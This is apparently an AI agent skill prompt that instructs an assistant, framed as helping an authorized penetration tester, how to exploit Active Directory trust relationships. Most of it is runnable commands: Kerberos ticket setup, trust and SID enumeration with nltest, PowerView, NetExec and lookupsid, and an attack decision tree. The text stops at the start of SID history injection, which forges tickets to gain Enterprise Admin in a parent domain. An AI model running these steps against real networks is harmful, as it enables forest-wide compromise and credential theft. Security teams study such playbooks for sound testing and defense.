/trust-attacks

name: trust-attacks
description: >
  Enumerates Active Directory trust relationships and exploits them for
  cross-domain and cross-forest privilege escalation. Covers trust enumeration
  (nltest, PowerView, BloodHound), SID history injection (child domain to
  forest root via golden/diamond ticket with extra SIDs), inter-realm TGT
  forging using trust keys, TGT delegation coercion capture (Rubeus monitor +
  SpoolSample/DFSCoerce across forest trusts with ENABLE_TGT_DELEGATION),
  cross-forest trust abuse (SID filtering bypass, RBCD, Kerberoasting via
  trust account), and PAM trust exploitation (shadow principals in bastion
  forests).
keywords:
  - trust attacks
  - domain trust
  - forest trust
  - SID history
  - child to parent
  - cross-forest
  - inter-realm
  - trust key
  - extra SID
  - raiseChild
  - PAM trust
  - shadow principals
  - bastion forest
  - trust enumeration
  - SID filtering
  - forest root
  - TGT delegation
  - ENABLE_TGT_DELEGATION
  - CROSS_ORGANIZATION_ENABLE_TGT_DELEGATION
  - unconstrained delegation trust
  - coercion capture
  - SpoolSample
  - ticketConverter
tools:
  - Mimikatz
  - Rubeus
  - Impacket (ticketer.py
  - raiseChild.py
  - lookupsid.py
  - ticketConverter.py)
  - PowerView
  - bloodyAD
  - NetExec
  - SpoolSample / printerbug.py
  - DFSCoerce
  - PetitPotam
opsec: medium

Trust Attacks

You are helping a penetration tester enumerate and exploit Active Directory trust relationships for cross-domain and cross-forest privilege escalation. All testing is under explicit written authorization.

Engagement Logging

Check for `./engagement/` directory. If absent, proceed without logging.

When an engagement directory exists:

• Print `[trust-attacks] Activated → <target>` to the screen on activation.
• **Evidence** → save significant output to `engagement/evidence/` with

descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).

State Management

Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

**Access required**: Domain Admin in at least one domain (for trust key extraction and krbtgt hash). Lower-privilege paths exist for trust account authentication.

**Kerberos authentication setup** (for enumeration and tool execution):

# Obtain TGT
getTGT.py 'DOMAIN.LOCAL/username:password' -dc-ip DC_IP
export KRB5CCNAME=$(pwd)/username.ccache

# All Impacket commands: -k -no-pass
# NetExec: --use-kcache
# bloodyAD: -k

**Tools**: Mimikatz, Rubeus, Impacket (ticketer.py, raiseChild.py, lookupsid.py, secretsdump.py, psexec.py), PowerView, bloodyAD, NetExec.

Step 1: Enumerate Trust Relationships

Trust Discovery

# Native Windows
nltest /trusted_domains

# PowerView — all trusts with properties
Get-DomainTrust
Get-DomainTrust -Domain parent.local

# AD Module — trust properties (critical for attack viability)
Get-ADTrust -Filter * -Properties SelectiveAuthentication,SIDFilteringQuarantined,SIDFilteringForestAware,TGTDelegation,ForestTransitive

# .NET — all trusts from current domain
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()

# NetExec module
nxc ldap DC_IP -u 'user' -p 'pass' --use-kcache -M enum_trusts

# Impacket — enumerate SIDs in target domain
lookupsid.py -k -no-pass DOMAIN/user@DC_IP

Key Properties to Assess

| Property | Impact | |----------|--------| | `SIDFilteringQuarantined` | If `False`, SID history injection works across trust | | `SelectiveAuthentication` | If `True`, only explicitly allowed users can authenticate | | `ForestTransitive` | Indicates forest-level trust (broader scope) | | `TrustDirection` | Inbound/Outbound/Bidirectional — determines attack direction | | `TGTDelegation` | If `True`, unconstrained delegation possible across trust |

Cross-Domain Group Membership

# Foreign group members (users from other domains in local groups)
Get-DomainForeignGroupMember
Get-DomainForeignGroupMember -Domain parent.local

# Foreign users with local admin
Get-NetLocalGroupMember -ComputerName dc.parent.local

Trust Type Decision Tree

Trust Found
├── Parent-Child (in-forest) → SID filtering NOT enforced → Step 2 (SID History)
├── Forest Trust
│   ├── TGTDelegation = True + admin on trusted DC → Step 6 (TGT Delegation Coercion)
│   ├── SIDFilteringQuarantined = False → Step 2 (SID History cross-forest)
│   ├── SIDFilteringQuarantined = True → Step 3 (Trust Ticket) or Step 5 (enum only)
│   └── PAM trust attributes → Step 4 (Shadow Principals)
├── External Trust
│   ├── SIDFilteringQuarantined = False → Step 2 (SID History)
│   └── SIDFilteringQuarantined = True → Step 3 (Trust Ticket) + Step 5
└── One-Way Trust
    ├── Inbound (they trust us) → Step 3 (authenticate into their domain)
    └── Outbound (we trust them) → Step 5 (limited attack surface)

Step 2: SID History Injection (Child -> Parent / Cross-Forest)

The primary trust escalation technique. Forge a ticket in the child domain with the parent domain's Enterprise Admins SID (S-1-5-21-PARENT-519) in the SID history field.

**Prerequisite**: krbtgt hash from child domain + parent domain SID.

Obtain Domain SIDs

# Child domain SID
lookupsid.py -k -no-pass CHILD.LOCAL/user@child-dc 0

# Parent domain SID + Enterprise Admins
lookupsid.py -k -no-pass CHILD.LOCAL/user@parent-dc | grep "Enterprise Admins"
# Note the SID before -519